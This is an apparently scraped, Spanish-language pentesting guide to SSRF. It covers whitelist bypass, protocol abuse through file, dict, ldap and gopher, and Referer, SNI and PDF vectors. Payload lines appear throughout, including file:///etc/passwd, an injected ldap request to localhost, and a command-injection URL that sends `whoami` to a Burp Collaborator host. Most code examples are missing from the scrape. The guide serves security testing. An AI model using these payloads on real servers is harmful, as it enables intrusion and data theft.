SSRF (Server Side Request Forgery)
Utilice Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas comunitarias más avanzadas del mundo. ¡Obtenga acceso hoy:
Información Básica
Una vulnerabilidad de Server-side Request Forgery (SSRF) ocurre cuando un atacante manipula una aplicación del lado del servidor para realizar solicitudes HTTP a un dominio de su elección. Esta vulnerabilidad expone al servidor a solicitudes externas arbitrarias dirigidas por el atacante.
Captura de SSRF
Lo primero que debe hacer es capturar una interacción de SSRF generada por usted. Para capturar una interacción HTTP o DNS, puede utilizar herramientas como:
Burp Collaborator
https://github.com/dwisiswant0/ngocok - Un Burp Collaborator que utiliza ngrok
Bypass de Dominios en Lista Blanca
Por lo general, encontrará que el SSRF solo funciona en ciertos dominios o URL en lista blanca. En la siguiente página tiene una recopilación de técnicas para intentar evadir esa lista blanca:
pageURL Format BypassBypass a través de redirección abierta
Si el servidor está protegido correctamente, podría evadir todas las restricciones explotando una Redirección Abierta dentro de la página web. Debido a que la página web permitirá SSRF al mismo dominio y probablemente seguirá las redirecciones, puede explotar la Redirección Abierta para hacer que el servidor acceda a cualquier recurso interno. Lea más aquí: https://portswigger.net/web-security/ssrf
Protocolos
file://
El esquema de URL
file://
se referencia, apuntando directamente a/etc/passwd
:file:///etc/passwd
dict://
El esquema de URL DICT se describe como utilizado para acceder a definiciones o listas de palabras a través del protocolo DICT. Se ilustra un ejemplo de una URL construida que apunta a una palabra específica, una base de datos y un número de entrada, así como una instancia de un script PHP que podría ser mal utilizado para conectarse a un servidor DICT utilizando credenciales proporcionadas por el atacante:
dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
SFTP://
Identificado como un protocolo para la transferencia segura de archivos a través de shell seguro, se proporciona un ejemplo que muestra cómo un script PHP podría ser explotado para conectarse a un servidor SFTP malicioso:
url=sftp://generic.com:11111/
TFTP://
Se menciona el Protocolo de Transferencia de Archivos Triviales, que opera sobre UDP, con un ejemplo de un script PHP diseñado para enviar una solicitud a un servidor TFTP. Se realiza una solicitud TFTP a 'generic.com' en el puerto '12346' para el archivo 'TESTUDPPACKET':
ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
LDAP://
Este segmento cubre el Protocolo Ligero de Acceso a Directorios, enfatizando su uso para administrar y acceder a servicios de información de directorio distribuido sobre redes IP. Interactúe con un servidor LDAP en localhost:
'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
SMTP
Se describe un método para explotar vulnerabilidades de SSRF para interactuar con servicios SMTP en localhost, incluidos los pasos para revelar nombres de dominio internos y acciones investigativas adicionales basadas en esa información.
Curl URL globbing - Bypass de WAF
Si el SSRF es ejecutado por curl, curl tiene una característica llamada URL globbing que podría ser útil para evadir los WAFs. Por ejemplo, en este writeup puedes encontrar este ejemplo de traversal de ruta a través del protocolo
file
:
Gopher://
Se discute la capacidad del protocolo Gopher para especificar IP, puerto y bytes para la comunicación del servidor, junto con herramientas como Gopherus y remote-method-guesser para crear payloads. Se ilustran dos usos distintos:
Gopher://
Usando este protocolo puedes especificar la IP, puerto y bytes que deseas que el servidor envíe. Luego, básicamente puedes explotar un SSRF para comunicarte con cualquier servidor TCP (pero primero necesitas saber cómo hablar con el servicio). Afortunadamente, puedes usar Gopherus para crear payloads para varios servicios. Además, remote-method-guesser se puede utilizar para crear payloads gopher para servicios Java RMI.
Gopher smtp
Gopher HTTP
Gopher SMTP - Conexión de retorno a 1337
Gopher MongoDB -- Crear usuario con nombre de usuario=admin con contraseña=admin123 y con permiso=administrador
SSRF a través del encabezado Referrer y Otros
El software de análisis en servidores a menudo registra el encabezado Referrer para rastrear enlaces entrantes, una práctica que expone inadvertidamente las aplicaciones a vulnerabilidades de falsificación de solicitudes en el lado del servidor (SSRF). Esto se debe a que dicho software puede visitar URLs externas mencionadas en el encabezado Referrer para analizar el contenido del sitio de referencia. Para descubrir estas vulnerabilidades, se recomienda el complemento de Burp Suite "Collaborator Everywhere", aprovechando la forma en que las herramientas de análisis procesan el encabezado Referer para identificar posibles superficies de ataque SSRF.
SSRF a través de datos SNI del certificado
Una mala configuración que podría permitir la conexión a cualquier backend a través de una configuración simple se ilustra con un ejemplo de configuración de Nginx:
En esta configuración, el valor del campo de Indicación del Nombre del Servidor (SNI) se utiliza directamente como la dirección del backend. Esta configuración expone una vulnerabilidad a la Falsificación de Petición del Lado del Servidor (SSRF), la cual puede ser explotada simplemente especificando la dirección IP o nombre de dominio deseado en el campo SNI. A continuación se muestra un ejemplo de explotación para forzar una conexión a un backend arbitrario, como internal.host.com
, utilizando el comando openssl
:
SSRF con Inyección de Comandos
Podría valer la pena probar un payload como: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
Renderizado de PDFs
Si la página web está creando automáticamente un PDF con alguna información que has proporcionado, puedes insertar algo de JS que será ejecutado por el propio creador de PDF (el servidor) mientras crea el PDF y podrás abusar de un SSRF. Encuentra más información aquí.
De SSRF a DoS
Crea varias sesiones e intenta descargar archivos pesados explotando el SSRF desde las sesiones.
Funciones PHP de SSRF
pagePHP SSRFRedirección de SSRF a Gopher
Para algunas explotaciones es posible que necesites enviar una respuesta de redirección (potencialmente para usar un protocolo diferente como gopher). Aquí tienes diferentes códigos en python para responder con una redirección:
Utilice Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas comunitarias más avanzadas del mundo. Obtenga acceso hoy:
Proxies mal configurados para SSRF
Trucos de esta publicación.
Flask
Última actualización